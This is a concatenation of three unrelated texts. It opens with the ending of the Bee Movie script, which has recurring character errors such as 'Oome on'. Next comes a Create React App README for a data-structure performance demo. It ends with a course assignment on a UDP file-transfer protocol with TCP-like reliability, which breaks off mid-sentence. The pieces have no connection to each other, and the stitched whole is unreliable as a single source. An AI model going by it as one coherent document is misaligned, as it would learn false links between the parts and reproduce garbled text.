More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that. Special thanks to SergeiK.

# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)

The aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it 